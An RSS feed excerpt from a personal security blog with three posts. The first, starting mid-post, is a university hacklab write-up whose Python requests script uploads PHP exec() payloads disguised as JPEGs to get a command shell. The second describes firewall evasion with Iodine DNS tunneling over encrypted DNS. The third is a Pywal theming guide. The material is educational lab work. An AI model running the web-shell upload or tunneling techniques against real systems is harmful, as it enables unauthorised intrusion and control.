a file of another type was caught by a filter.</p>
<p><img loading="lazy" alt="Invalid file type" src="https://samiser.xyz/images/fake-shell-with-python-requests/invalidfiletype.png" /></p>
<p>I managed to bypass this filter by editing the MIME type
with burp proxy. I just had a "test.php" file containing
some php to echo 1+1.</p>
<p><img loading="lazy" alt="Upload intercepted by burp" src="https://samiser.xyz/images/fake-shell-with-python-requests/burp.png" /></p>
<p>Once the upload post request was intercepted all I had to do
was change the MIME type from application/x-php to image/jpeg.</p>
<p><img loading="lazy" alt="Modified MIME type" src="https://samiser.xyz/images/fake-shell-with-python-requests/burpmodifytype.png" /></p>
<p>And it was successfully uploaded and stored on the server.</p>
<p><img loading="lazy" alt="File successfully uploaded" src="https://samiser.xyz/images/fake-shell-with-python-requests/uploaded.png" /></p>
<p>Now I could access the file directly and the code would
be executed.</p>
<p><img loading="lazy" alt="Code execution achieved" src="https://samiser.xyz/images/fake-shell-with-python-requests/codeexec.png" /></p>
<p>Another slightly more interesting method was using
a local file inclusion vulnerability I had found
previously. I could upload a file containing php code
with a .jpg extension with no problem, but when accessed
directly the web server would try to handle it as an
image and nothing would happen. However, when included
with LFI, it would actually execute the code and display
the output in between the header and the footer.</p>
<p><img loading="lazy" alt="LFI code execution" src="https://samiser.xyz/images/fake-shell-with-python-requests/testjpginclude.png" /></p>
<p>So I had two different methods of uploading code to
the server, but now I actually wanted to use the
code execution repeatedly and in a convenient way.
As mentioned previously, a reverse shell was being
blocked somehow, so I would have to work with just
what I had got working so far.</p>
<p>Editing the file, uploading it through the web interface
then directly accessing it/including it to view the output
was a big faff. Not very efficient when trying to run
multiple commands in succession. Next I used burp
proxy's repeater to edit the command to be run then
resend the post request to upload the file. Then
I could just reload the file in the browser and the
new command would be executed so that was a bit better.</p>
<p>Still though, I figured there would be a way to automate
this process, and that's where python comes in.</p>
<h2>Developing the Shell</h2>
<p>So, in order to make get and post requests, the requests
library had to be imported</p>
<div class="codehilite"><pre><span></span><code><span class="kn">import</span><span class="w"> </span><span class="nn">requests</span>
</code></pre></div>

<p>Then, the target urls were defined. We needed the login url,
the image url to access it once it has been uploaded and the
image upload url to post the new "image" to</p>
<div class="codehilite"><pre><span></span><code><span class="n">login_url</span> <span class="o">=</span> <span class="s1">&#39;http://192.168.1.20/index.php&#39;</span>
<span class="n">image_url</span> <span class="o">=</span> <span class="s1">&#39;http://192.168.1.20/pictures/boop.php&#39;</span>
<span class="n">upload_url</span> <span class="o">=</span> <span class="s1">&#39;http://192.168.1.20/changepicture.php&#39;</span>
</code></pre></div>

<p>In order to upload a new profile picture we would need to
be signed in as a user, but how can we log in with python?
Requests has an ability to create sessions and perform
post and get requests using the session object.</p>
<p>First, a post login request was captured with burp proxy
in order to see what parameters needed to be included.</p>
<p><img loading="lazy" alt="Login POST request" src="https://samiser.xyz/images/fake-shell-with-python-requests/postlogin.png" /></p>
<p>As can be seen in the captured request, three parameters
are needed: email, password and Login. These were then
defined in a python dictionary.</p>
<div class="codehilite"><pre><span></span><code><span class="n">login_data</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s1">&#39;email&#39;</span><span class="p">:</span><span class="s1">&#39;bla%40bla.com&#39;</span><span class="p">,</span>
    <span class="s1">&#39;password&#39;</span><span class="p">:</span><span class="s1">&#39;bla&#39;</span><span class="p">,</span>
    <span class="s1">&#39;login&#39;</span><span class="p">:</span><span class="s1">&#39;Login&#39;</span>
<span class="p">}</span>
</code></pre></div>

<p>Now a post request can be made to the login url defined
earlier with the parameters set in the dictionary.</p>
<div class="codehilite"><pre><span></span><code><span class="k">with</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">s</span><span class="p">:</span>
    <span class="n">login</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">login_url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">login_data</span><span class="p">)</span>
</code></pre></div>

<p>The session is now authenticated and we are logged in as
the bla account. I've demonstrated this in the interactive
python shell here:</p>
<p><img loading="lazy" alt="Interactive Login" src="https://samiser.xyz/images/fake-shell-with-python-requests/interactivelogin.png" /></p>
<p>The next challenge is sending a 
multipart/form-data request where the file contents is
the command we want to run surrounded by php exec code.
This turns out to be not as complicated as it sounds.</p>
<p>As explained in the <a href="https://2.python-requests.org//en/latest/user/quickstart/#post-a-multipart-encoded-file">requests documentation</a>
posting a multipart/form-data request is as simple
as defining the data in a python dictionary or a list
of two item tuples. It's also stated in the documentation
that a string can be used as the file contents. Both
of these things are ideal for this task.</p>
<p>In this code snippet, the file is defined with the name
'boop.php', the content is php execing a command defined
by the cmd variable and the type is 'image/jpeg'.</p>
<div class="codehilite"><pre><span></span><code><span class="n">files</span> <span class="o">=</span> <span class="p">[</span>
    <span class="p">(</span><span class="s1">&#39;uploadedfile&#39;</span><span class="p">,</span> 
        <span class="p">(</span><span class="s1">&#39;boop.php&#39;</span><span class="p">,</span>
        <span class="s1">&#39;&lt;?php echo exec(&quot;&#39;</span> <span class="o">+</span> <span class="n">cmd</span> <span class="o">+</span> <span class="s1">&#39;&quot;);?&gt;&#39;</span><span class="p">,</span>
        <span class="s1">&#39;image/jpeg&#39;</span><span class="p">)</span>
    <span class="p">)</span>
<span class="p">]</span>
</code></pre></div>

<p>This can then be posted to the upload url
using the session that we're logged into the bla account
on.</p>
<div class="codehilite"><pre><span></span><code><span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">upload_url</span><span class="p">,</span> <span class="n">files</span><span class="o">=</span><span class="n">files</span><span class="p">)</span>
</code></pre></div>

<p>Now that the file with the payload has been uploaded,
all that needs to be done is to directly access it via
a GET request and we'll have the command output.</p>
<div class="codehilite"><pre><span></span><code><span class="n">get</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">image_url</span><span class="p">)</span>
</code></pre></div>

<p>To demonstrate I used the python shell with the previously
authenticated session object to post a payload
that will cat the hostname.</p>
<p><img loading="lazy" alt="Interactive post and execute" src="https://samiser.xyz/images/fake-shell-with-python-requests/interactivecmd.png" /></p>
<p>All of this can be put into a while loop that queries
the user for a command and prints the result.</p>
<div class="codehilite"><pre><span></span><code><span class="k">while</span> <span class="n">cmd</span> <span class="o">!=</span> <span class="s1">&#39;exit&#39;</span><span class="p">:</span>
    <span class="n">cmd</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s1">&#39;&gt; &#39;</span><span class="p">)</span>
    <span class="n">get</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">upload_url</span><span class="p">)</span>

    <span class="n">files</span> <span class="o">=</span> <span class="p">[</span>
        <span class="p">(</span><span class="s1">&#39;uploadedfile&#39;</span><span class="p">,</span> 
            <span class="p">(</span><span class="s1">&#39;boop.php&#39;</span><span class="p">,</span>
            <span class="s1">&#39;&lt;?php echo exec(&quot;&#39;</span> <span class="o">+</span> <span class="n">cmd</span> <span class="o">+</span> <span class="s1">&#39;&quot;);?&gt;&#39;</span><span class="p">,</span>
            <span class="s1">&#39;image/jpeg&#39;</span><span class="p">)</span>
        <span class="p">)</span>
    <span class="p">]</span>
    <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">upload_url</span><span class="p">,</span> <span class="n">files</span><span class="o">=</span><span class="n">files</span><span class="p">)</span>
    <span class="n">get</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">image_url</span><span class="p">)</span>

    <span class="nb">print</span><span class="p">(</span><span class="n">get</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div>

<p>We now have a fully interactive shell where we can
enter commands and see the output immediately! There
did seem to be a slight issue though. Only one line
of output from the command was being returned.</p>
<p><img loading="lazy" alt="Only one line of output" src="https://samiser.xyz/images/fake-shell-with-python-requests/oneline.png" /></p>
<p>To fix this, I changed the payload so that the
command entered was being piped into the "head" command.
Then, in a loop, the command would repeatedly be called
while the line of output of the command that was being
read would be incremented by 1. This was done until the
output was the same twice, indicating that the line counter
had reached the end of the output.</p>
<div class="codehilite"><pre><span></span><code><span class="k">while</span> <span class="n">get</span><span class="o">.</span><span class="n">text</span> <span class="o">!=</span> <span class="n">old_get</span> <span class="ow">or</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">100</span><span class="p">:</span>
    <span class="n">old_get</span> <span class="o">=</span> <span class="n">get</span><span class="o">.</span><span class="n">text</span>
    <span class="n">files</span> <span class="o">=</span> <span class="p">[</span>
            <span class="p">(</span><span class="s1">&#39;uploadedfile&#39;</span><span class="p">,</span> 
            <span class="p">(</span><span class="s1">&#39;boop.php&#39;</span><span class="p">,</span>
            <span class="s1">&#39;&lt;?php echo exec(&quot;&#39;</span> <span class="o">+</span> <span class="n">cmd</span> <span class="o">+</span> <span class="s1">&#39; | head -n &#39;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="s1">&#39;&quot;);?&gt;&#39;</span><span class="p">,</span>
            <span class="s1">&#39;image/jpeg&#39;</span><span class="p">)</span>
        <span class="p">)</span>
    <span class="p">]</span>
    <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">upload_url</span><span class="p">,</span> <span class="n">files</span><span class="o">=</span><span class="n">files</span><span class="p">)</span>
    <span class="n">get</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">image_url</span><span class="p">)</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>

    <span class="k">if</span> <span class="n">get</span><span class="o">.</span><span class="n">text</span> <span class="o">!=</span> <span class="n">old_get</span><span class="p">:</span>
        <span class="nb">print</span><span class="p">(</span><span class="n">get</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div>

<p>Now we have a fully fledged shell where we can enter
commands and see the output in full!</p>
<p><img loading="lazy" alt="Shell in use" src="https://samiser.xyz/images/fake-shell-with-python-requests/shellinuse.png" /></p>
<h2>Adapting the Shell</h2>
<p>What I originally set out to do was done, but I did
still want to adapt the shell to exploit the second vuln
I'd found where you can include a .jpg file and execute
the code within. This was a little more complicated as
the GET also returned the header and footer.</p>
<p>First the image url had to be updated.</p>
<div class="codehilite"><pre><span></span><code><span class="n">image_url</span><span class="o">=</span> <span class="s1">&#39;http://192.168.1.20/pictures/page.php?type=pictures/boop.jpg&#39;</span>
</code></pre></div>

<p>Then, around the actual command execution including the
head trick to get the whole output, ^START^ and ^END^ were
echo'd before and after the command was run respectively.</p>
<div class="codehilite"><pre><span></span><code><span class="s1">&#39;&lt;?php echo(&quot;^START^&quot;); echo exec(&quot;&#39;</span> <span class="o">+</span> <span class="n">cmd</span> <span class="o">+</span> <span class="s1">&#39; | head -n &#39;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="s1">&#39;&quot;);echo(&quot;^END^&quot;);?&gt;&#39;</span><span class="p">,</span>
</code></pre></div>

<p>Then a little function to filter out everything outwith
the tags including the tags themselves was made.</p>
<div class="codehilite"><pre><span></span><code><span class="k">def</span><span class="w"> </span><span class="nf">parse</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">text</span><span class="p">[</span><span class="n">text</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s1">&#39;^START^&#39;</span><span class="p">)</span><span class="o">+</span><span class="mi">7</span><span class="p">:</span><span class="n">text</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s1">&#39;^END^&#39;</span><span class="p">)]</span>
</code></pre></div>

<p>Finally, the exact same code could be used for printing
but just with the filter being applied.</p>
<div class="codehilite"><pre><span></span><code><span class="k">if</span> <span class="n">parse</span><span class="p">(</span><span class="n">get</span><span class="o">.</span><span class="n">text</span><span class="p">)</span> <span class="o">!=</span> <span class="n">old_get</span><span class="p">:</span>
    <span class="nb">print</span><span class="p">(</span><span class="n">parse</span><span class="p">(</span><span class="n">get</span><span class="o">.</span><span class="n">text</span><span class="p">))</span>
</code></pre></div>

<p>And now we have a fully functioning shell using
the second vulnerability.</p>
<p><img loading="lazy" alt="Second shell in use" src="https://samiser.xyz/images/fake-shell-with-python-requests/shell2.png" /></p>
<p>Interestingly since this code was being run from
the LFI vulnerable file, the code executed from 
the webroot instead of the images directory like before,
so this is actually a little bit more convenient.</p>
<h2>Conclusions</h2>
<p>Python's requests module is very handy and being able
to authenticate by logging in and then do actions with
that authenticated session is extremely useful and
something I didn't even know existed. I'll definitely
be playing about with that more in the future.</p>
<p>Also, doing this didn't get me any extra marks for the
coursework as far as I know, I just did it because 
I wanted to see if I could.</p>
<p>Thanks for reading :)</p>]]></description>
    </item>
    <item>
      <title>Bypassing Firewalls with Encrypted DNS Tunneling</title>
      <link>https://samiser.xyz/#2019-11-05-bypassing-firewalls-with-encrypted-dns-tunneling</link>
      <guid isPermaLink="true">https://samiser.xyz/#2019-11-05-bypassing-firewalls-with-encrypted-dns-tunneling</guid>
      <pubDate>Tue, 05 Nov 2019 00:00:00 +0000</pubDate>
      <description><![CDATA[<p>This post documents an explorative journey I went through while attempting to bypass a firewall.
I've split it into a few sections:</p>
<ol>
<li>Context</li>
<li>Initial Ideas and Testing</li>
<li>DNS Tunneling</li>
<li>Encrypted DNS</li>
<li>Combining Both Techniques</li>
<li>Conclusions</li>
</ol>
<p>This won't really be a technical guide on how to set up any of the
things I discuss here, but I have linked to resources throughout the post that should tell
you how to set things up for yourself. If you really want more info about my particular 
setup you can dm me on <a href="https://www.twitter.com/Sam1ser">twitter</a>.</p>
<h2>Context</h2>
<p>At my university we have a network of computers that are isolated from the rest of the university which we use for hacking.
Particularly for coursework that might involve hacking into vulnerable virtual machines or networks of virtual machines.</p>
<p>Often to do the coursework from the comfort of our own machines we would just copy the virtual machines
from the network onto a usb and set them up on our own hypervisor.
Recently however there was some coursework that involved a VM that is over 120GB in size.
A bit more awkward to simply transfer over and set up on our own computers.</p>
<p>I did however still want to do the coursework from my laptop rather than using the hacklab computers since
it's just more comfortable. I started looking into accessing the hacklab computers from outwith the
network. This desire to make it slightly more convenient to do my coursework combined with
my relentless stubbornness has led me down a massive rabbit hole, so I figured I would share my thought
process and findings here as I have learned a lot.</p>
<h2>Initial Ideas and Testing</h2>
<p>So first thing I had to do was to really specify what I actually wanted to achieve. I figured a few things:</p>
<ul>
<li>Remote access to a machine on the hacklab network (obviously)</li>
<li>Encrypted traffic (it's a hacklab, people be sniffin')</li>
<li>Quick and easy to set up and tear down with minimal footprint</li>
</ul>
<p>Interestingly since my laptop was also on a separate internal network (the uni wifi) I also knew
I would have to use an internet-facing proxy that both my laptop and the hacklab computer could connect to.
My immediate thoughts were to use a reverse SSH tunnel using a VPS as a proxy node for the tunnel.</p>
<p>This seemed to match all of my requirements and I have done a similar thing before on my homelab so it
wouldn't have been to hard too implement.</p>
<p>Things were theoretically looking up but after setting up a VPS to begin testing I immediately found
an issue... SSH is blocked by the hacklab firewall.
It's not possible to SSH from a hacklab computer to an internet facing box.</p>
<p>This makes a lot of sense but unfortunately it presented me with an issue. I would need to either try
and find a different remote access protocol or attempt to bypass the firewall.
I figured if SSH is blocked then other similar protocols are probably blocked too so I didn't
bother looking into the former.</p>
<p>After putting it off for a few days I remembered something that I had read in <a href="https://medium.com/@ryankazanciyan/mr-robot-disassembled-eps3-8-stage3-torrent-8b80e14fc6fb">this excellent blog post</a>
that describes some hacking techniques used in Mr Robot. The author describes how Elliot uses DNS
tunneling to bypass an enemy's firewall as part of an elaborate hack to set up command and control
in their internal network. Really cool stuff and I figured I could try using the technique myself.</p>
<h2>DNS Tunneling</h2>
<p>There are quite a few DNS tunneling applications available but the tool that was mentioned
in the Mr Robot blog post is Iodine, a seemingly fairly popular choice.
Instructions on the <a href="https://github.com/yarrick/iodine">Iodine github page</a> go into detail in how to set it up, but here's a basic overview
of what DNS tunneling actually is and how it works:</p>
<ol>
<li>Client encodes binary data within a DNS request</li>
<li>Request is sent to a public DNS resolver</li>
<li>The request is then forwarded to your DNS server</li>
<li>Your DNS server then decodes and processes the data</li>
<li>Server encodes and sends back the response over DNS</li>
<li>Client decodes the DNS response to binary data</li>
</ol>
<p>The data is encoded by prepending it to the DNS request like so:</p>
<div class="codehilite"><pre><span></span><code>datatobeencoded.ns.yourdomain.xyz
</code></pre></div>

<p>This can actually be manually demonstrated using dig:</p>
<p><img loading="lazy" alt="dig of iodine nameserver" src="https://samiser.xyz/images/encrypted-dns-tunneling/dig.png" /></p>
<p>Here you can see there was some data prepended to the DNS request (z456)
and then the iodine server responded with some other data (tpi0dknro)</p>
<p>So now that I've configured DNS tunneling for my domain and I've confirmed that it works with dig,
all I have to do is use the iodine client to connect to the tunnel:</p>
<p><img loading="lazy" alt="tunnel working" src="https://samiser.xyz/images/encrypted-dns-tunneling/tunnel-working.png" /></p>
<p>And now to confirm I have access to the server, I'll nmap the first two tunnel addresses:</p>
<p><img loading="lazy" alt="nmap of tunnel" src="https://samiser.xyz/images/encrypted-dns-tunneling/nmap-of-tunnel.png" /></p>
<p>Nice, I've set up the tunnel and have access to the server from my laptop from an external network. 
All I have to do now is connect to the tunnel from the target and I should be able to
access it from my attacking machine/laptop through the tunnel.</p>
<p><img loading="lazy" alt="kali connection failed" src="https://samiser.xyz/images/encrypted-dns-tunneling/kali-iodine-failed.png" /></p>
<p>It failed to connect. This confused me for quite a long time, surely DNS traffic can't be blocked
so how could my tunnel be being blocked? Well after looking into it I found that some firewalls
are capable of detecting TCP over DNS traffic. You can find the post where I found out about this <a href="https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000">here.</a> There's also a <a href="https://www.snort.org/rule_docs/1-27046">Snort rule</a> that can detect Iodine handshakes.</p>
<p>I figured that at this point I was defeated. If the traffic could be detected and by the firewall then
there was no way I could use this technique succesfully, right? Unless there was some way that
the traffic could be encrypted...</p>
<h2>Encrypted DNS</h2>
<p>Since I was stuck at this point I started asking about for any ideas. One person I spoke to is <a href="https://twitter.com/yeroc_sebrof">Corey
Forbes</a>, a pal of mine and Abertay grad currently working at F-secure.
He suggested I look into DNS over HTTPS, a proposed standard of encrypting DNS traffic.</p>
<p>Interestingly DNS traffic is among the last remaining fundamental internet traffic that is still
(mostly) unencrypted by default across the internet.
HTTPS is standard now to the point that most browsers even warn you if a website doesn't
use it, but DNS traffic remains completely available unencrypted to prying eyes.
I'm not going to get into the privacy issues or the heated debate surrounding this topic
but if you'd like to you can find a great post about all that <a href="https://www.wired.com/story/DNS-over-https-encrypted-web/">here.</a></p>
<p>While I was looking into the existing implementations of DNS encryption,
I found that there seems to be three currently being used:</p>
<ol>
<li><strong>DNSCrypt</strong> which seems to be more of a proof of concept than a usable standard</li>
<li><strong>DNS over HTTPS</strong> which is a proposed standard but hasn't been finalised yet</li>
<li><strong>DNS over TLS</strong> which is by far the most widely supported and accepted standard</li>
</ol>
<p>DNS over TLS did seem to be the most reliable way to go, with many major internet infrastructure providers
running their public DNS resolvers with the option to opt in to it. Also, for Android devices as of Android 9.0
it is on by default for all DNS requests and cloudflare even has an app for both IOS and Android that
uses their DNS over TLS server 1.1.1.1</p>
<p>Ultimately though I was more concerned about whether any of these could be used in conjunction with a DNS tunnel
to bypass the detection mechanisms in place at the hacklab firewall.</p>
<p>First thing I had to do was set up DNS over TLS on my own system.
I ended up using stubby, a local DNS stub resolver that works using DNS over TLS.
It's in the debian repositories so it was just a matter of <strong>sudo apt install stubby</strong> and
after a bit of configuration was already set up running as a daemon.</p>
<p>For more info on how to set up and configure stubby I would recommend reading
its entry on the arch wiki <a href="https://wiki.archlinux.org/index.php/Stubby">here.</a></p>
<p>After ensuring it was running the first thing I tested was the simple dig DNS request that was
shown previously in the article. Running tcpdump in the background and grepping for only TXT
DNS queries, I first ran the command with normal DNS and then going through the local DNS stub:</p>
<p><img loading="lazy" alt="tcpdump to check stub is working" src="https://samiser.xyz/images/encrypted-dns-tunneling/tcpdump.png" /></p>
<p>As can be seen in the above image, the first dig request was picked up but the second one wasn't.
This indicated that the DNS stub was succesfully masking the DNS TCP data by encrypting it. All
that was left to do now was connect to the DNS tunnel through the stub resolver.</p>
<p>Also, for testing purposes, I set up the DNScrypt-proxy client which actually uses
DNS over HTTPS to encrypt its traffic. I did the previous test with this and it
also succesfully encrypted the traffic. In the end I had stubby bound to 127.0.2.1:53
and DNScrypt-client bound to 127.0.3.1:53.</p>
<h2>Combining Both Techniques and Performance Measurements</h2>
<p>After the previous section was done both stubby and DNScrypt-client were set up and configured on my system.
All I had to do now was send the iodine DNS requests to either of the loopback addresses. In iodine you can
actually just specify the DNS server to use as an option before the target domain like this:</p>
<div class="codehilite"><pre><span></span><code><span class="n">iodine</span><span class="w"> </span><span class="p">[</span><span class="n">options</span><span class="p">]</span><span class="w"> </span><span class="p">[</span><span class="n">DNS</span><span class="w"> </span><span class="n">server</span><span class="p">]</span><span class="w"> </span><span class="p">[</span><span class="n">url</span><span class="p">]</span>
</code></pre></div>

<p>An important thing to note is that by default Iodine doesn't actually work as a real DNS tunnel.
It works by sending the DNS requests directly to the server without going through a DNS resolver.
It also seems that when it's in this mode it sends a lot more data per DNS request.
Here's the speed test while using this mode:</p>
<p><img loading="lazy" alt="raw mode speed" src="https://samiser.xyz/images/encrypted-dns-tunneling/raw-connection.png" /></p>
<p>I got 36.4Mbits/s for bandwith which is relatively slow. It would be enough for an SSH connection
and to transfer files that aren't too big so that's good enough for me.</p>
<p>However, as I mentioned earlier, this isn't a technique that could be used to encrypt the DNS traffic
since it just sends it directly to the Iodine server. By adding -r to the command you can bypass
raw mode and attempt the proper query mode:</p>
<p><img loading="lazy" alt="query mode connection" src="https://samiser.xyz/images/encrypted-dns-tunneling/query-connection.png" /></p>
<p>So now you can see Iodine trying to find the optimal size of data that could be appended to the DNS
requests. It settles on 1186. Also after connecting a lot of errors were coming up... This didn't fill
me with confidence. Here's the speed for connecting through my DNS resolver:</p>
<p><img loading="lazy" alt="query mode speed" src="https://samiser.xyz/images/encrypted-dns-tunneling/query-speed.png" /></p>
<p>327Kbits/s is really not ideal. it's barely usable. However I could still manage
to get an SSH connection through the tunnel and it did stay open, so things still weren't looking too bad.</p>
<p>Now it was time to establish the tunnel connection while encrypting all of the DNS requests using DNS over TLS
with stubby:</p>
<p><img loading="lazy" alt="DNS over TLS connection" src="https://samiser.xyz/images/encrypted-dns-tunneling/dns-tls-connection.png" /></p>
<p>Not looking good. Iodine has determined it can only use a data fragment size of 238, far smaller than last time.
There were also once again lots of errors while the connection was running. Time to test the speed:</p>
<p><img loading="lazy" alt="DNS over TLS speed test" src="https://samiser.xyz/images/encrypted-dns-tunneling/dns-tls-speed.png" /></p>
<p>As you can see my initial attempt failed completely. The second attempt gave an impressively bad 33.3Kbits/s.
At this point I couldn't even consistently ping through the tunnel and an SSH connection was impossible to establish.</p>
<p>The slow speed is caused by a few different factors. Every piece of data sent has to be broken down into many fragments and sent to the server over multiple DNS requests, with larger amounts of data needing more requests.</p>
<p>Each request then needs to be encrypted by our local stub resolver which takes
a fair amount of time. Then it needs to be decoded at the other end and parsed by the server. Finally it gets sent back with another round of encrypting and decrypting.</p>
<p>Out of curiosity I also tried using DNScrypt-proxy to see if the results were any different:</p>
<p><img loading="lazy" alt="DNScrypt proxy connection" src="https://samiser.xyz/images/encrypted-dns-tunneling/dnscrypt-connection.png" /></p>
<p>Interestingly as you can see Iodine could use a fragment size of 1150, significantly higher than when
using DNS over TLS with stubby. Now for the speed test:</p>
<p><img loading="lazy" alt="DNScrypt proxy speed" src="https://samiser.xyz/images/encrypted-dns-tunneling/dnscrypt-speed.png" /></p>
<p>Well - once I could get it to connect - at 34.7Kbits/s it was in fact 1.4Kbits/s faster than DNS over TLS
and this result was consistent over multiple tests. Even though the speed difference was tiny, I could
actually establish an SSH connection this time and it was usable!</p>
<p>At this point my laptop was connected to the DNS tunnel but I still needed to connect the kali vm
on the target network (hacklab) to the tunnel as well.
First I needed to set up the encrypted DNS stub. Since dnscrypt-proxy allowed me to establish an
SSH connection that is what I used on the kali machine:</p>
<p><img loading="lazy" alt="Kali dnscrypt-proxy set up" src="https://samiser.xyz/images/encrypted-dns-tunneling/kali-dns-proxy.png" /></p>
<p>And then - after configuring resolv.conf to use the stub - tested that it works with dig:</p>
<p><img loading="lazy" alt="Kali dig test" src="https://samiser.xyz/images/encrypted-dns-tunneling/kali-dig.png" /></p>
<p>Iodine was already installed on kali by default so I just needed to connect to the tunnel:</p>
<p><img loading="lazy" alt="Kali iodine connection" src="https://samiser.xyz/images/encrypted-dns-tunneling/kali-iodine.png" /></p>
<p>It works! The firewall has been bypassed. Iodine decided that 622 was the max fragment size
which works fine. Now from my laptop I ssh'd into the proxy server then from there I ssh'd
into the Kali machine. I then created and wrote to a file in the root directory:</p>
<p><img loading="lazy" alt="Kali file creation" src="https://samiser.xyz/images/encrypted-dns-tunneling/file-creation-kali.png" /></p>
<p>And then from the kali machine itself I made sure the file was present:</p>
<p><img loading="lazy" alt="Kali file check" src="https://samiser.xyz/images/encrypted-dns-tunneling/kali-file.png" /></p>
<p>Everything is working! I really can't describe how chuffed I was at this point.
Finally I went backwards through the tunnel and ssh'd into my laptop from the kali
machine just to prove that it's possible:</p>
<p><img loading="lazy" alt="SSH back to laptop" src="https://samiser.xyz/images/encrypted-dns-tunneling/kali-ssh.png" /></p>
<p>It works. Nice.</p>
<h2>Conclusions</h2>
<p>Unfortunately in my case it wasn't really feasible to actually use this technique.
I needed a much faster connection as this was more a matter of convenience than anything else.
However, it did work! So if you're trying to get reverse SSH access to a network but SSH and
DNS tunnels are blocked, this technique will work for you.</p>
<p>If the firewall you're trying to bypass can't detect tcp over DNS traffic then you're in an even
better position because you don't have to use encrypted traffic and you can most likely
use the raw mode with a pretty decent bandwidth.</p>
<p>Something else to consider is that DNS tunneling is a very noisy technique. With a ridiculous amount
of DNS queries being sent even if it doesn't trigger an automatic filter someone looking back at the logs
will very easily be able to see what you've been doing.</p>
<p>I don't think it would be feasible to have encrypted DNS tunneling ever at a usable speed. Just having
to encrypt every single DNS request is way too resource intensive. Maybe with golang or something but
that's not really my area.</p>
<p>Ultimately I'm really happy that I managed to achieve what I set out to do. It's a nice feeling when
you dream up some crazy theoretical hack and then actually manage to pull it off.</p>
<p>Thanks for reading.</p>]]></description>
    </item>
    <item>
      <title>Getting Creative with Pywal</title>
      <link>https://samiser.xyz/#2019-08-05-getting-creative-with-pywal</link>
      <guid isPermaLink="true">https://samiser.xyz/#2019-08-05-getting-creative-with-pywal</guid>
      <pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate>
      <description><![CDATA[<h2>What is Pywal?</h2>
<p>Pywal essentially functions as a Desktop Background setter like feh, but while setting the background
it generates a colour palette from the dominant colours of the image used. It then immediately applies
these colours as your system's colour scheme using Xresources, changing the colours of any program that
uses the Xresources colours immediately. You can find more information <a href="https://github.com/dylanaraps/pywal">on the Github</a></p>
<p><img loading="lazy" alt="Pywal Colours Loaded" src="https://samiser.xyz/images/getting-creative-pywal/pywal-colours-loaded.png" /></p>
<p>It works very nicely and is a really effective and easy way to immediately apply a consistent aesthetic
across several applications. However, the really interesting stuff comes from the ways you can manually
expand and integrate the pywal colours into your system.</p>
<h2>Pywal Colour Scheme Files</h2>
<p>As well as loading the colour scheme into Xresources pywal also generates themes for many different programs
that aren't necessarily activated by default or need some kind of manual configuration. These are found at
~/.cache/wal/</p>
<p><img loading="lazy" alt="Screenshot of ls cache wal" src="https://samiser.xyz/images/getting-creative-pywal/ls-cache-wal.png" /></p>
<p>In the above screenshot you can see a lot of different application specific colour scheme files listed as
well as some more generic file type like json and yml. An application that I use a lot is rofi which, among
other things, functions as a program launcher.</p>
<p>As you can see in the screenshot above there are a few themes for rofi in the predefined templates.
I'm only really interested in the dark theme because it's more in line with how I've configured my i3 colours (using pywal).</p>
<p><img loading="lazy" alt="Gif of default pywal rofi dark themes" src="https://samiser.xyz/images/getting-creative-pywal/rofi-unedited-dark-theme.gif" /></p>
<p>This theme is nice and it goes well with the colours, but it's not quite how I would like it. I prefer a
thinner box and ideally transparency. Fortunately, pywal allows for the templating of these files.
In the pywal repo there is <a href="https://github.com/dylanaraps/pywal/tree/master/pywal/templates">a folder</a> of all default theme templates.
If you copy one of these files to ~/.config/wal/templates/ pywal will then use that file as the template
instead of the default, allowing you to customise it.</p>
<h2>Custom Rofi Theme</h2>
<p>So looking at the rofi config template we can see a section describing the window:</p>
<p><img loading="lazy" alt="Default pywal window config" src="https://samiser.xyz/images/getting-creative-pywal/default-pywal-window-config.png" /></p>
<p>The rofi man page says that you can run <strong>rofi -dump-config</strong> to get all of the configuration options.
Then by grepping for width we can see that width is just defined by <strong>width: 50;</strong>. So in the template
we can change the width of the window by defining the width according to this format:</p>
<p><img loading="lazy" alt="Thin pywal window config" src="https://samiser.xyz/images/getting-creative-pywal/thin-pywal-window-config.png" /></p>
<p>I found 500 works best for me. The rofi window now looks like this:</p>
<p><img loading="lazy" alt="Thinner rofi window" src="https://samiser.xyz/images/getting-creative-pywal/rofi-thinner-but-opaque.gif" /></p>
<p>Better, but I still wanted transparency. Looking back at the default rofi config template it looks
like most of the background colours were either defined by the <strong>@background</strong> variable or the <strong>@foreground</strong>
variable. These variables are defined on lines 24 &amp; 25 with {background} and {foreground} respectively.
This is fairly typical syntax for python string formatting, and looking in the <a href="https://github.com/dylanaraps/pywal/wiki/User-Template-Files">pywal docs</a> confirms this.</p>
